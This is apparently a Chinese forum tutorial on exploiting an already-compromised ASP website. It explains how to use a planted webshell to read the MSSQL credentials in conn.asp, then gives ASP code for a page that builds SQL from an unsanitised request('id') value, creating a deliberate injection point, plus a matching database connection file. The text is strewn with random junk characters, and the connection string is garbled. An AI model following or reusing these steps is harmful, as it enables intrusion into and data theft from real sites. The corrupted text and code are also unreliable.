首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表。因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
/ \/ K$ H; ~$ _4 N0 ?4 ?8 ^ASP/Visual Basic代码& g' G0 _2 D+ Q, s# ]8 d8 v! {
<!--#include file="xx.asp"-->
& B, n, m& v( I6 K2 |<%
! x) y( I6 n3 l' i+ |, ?) N% Xset rs=server.createobject("ADODB.recordset") 4 O$ `, l: V) a. x6 W1 f- Q
id = request("id") ! K: e4 T `6 E9 T& v- ?" d1 M$ x2 }) b
strSQL = "select * from admin where id=" & id
9 m9 h3 ]9 j: Z H$ Grs.open strSQL,conn,1,3 ) M: M& y. A/ J1 v6 O. D* t
rs.close
3 z. i9 X) q, `0 H6 g%>
: v& E* S O7 I) O& j6 R8 ]把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在。你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!% b- X2 |6 u1 V1 u
然后就要构造一个连接数据库的文件了,代码如下:
7 g4 n8 F* C: Y3 |8 H5 KASP/Visual Basic代码
6 ]5 H" s% r. \& ?- R5 A# R<%
6 f9 T' t. I+ g4 r) \3 K6 k- VstrSQLServerName = "000.000.000.000" '服务器名称或地址
7 q# I6 ]2 ?% K6 cstrSQLDBUserName = "sqlname" '数据库帐号
- v6 u- b7 Q7 d! nstrSQLDBPassword = "sqlpass" '数据库密码 5 P4 Y: V: |+ e5 l, T
strSQLDBName = "sqldataname" '数据库名称 & V5 H( Y* v2 x
Set conn = Server.CreateObject("ADODB.Connection") $ P" T% P5 h5 V. F. o2 e7 ]
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
8 N k+ {5 h5 B0 Z1 Vconn.open strCon
& ~: `# {4 l8 o6 F%> $ X# a4 Q: n/ M5 H
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。就这样,正常情况下,就OK了,伪造成功
" H& }# O% k6 u: H |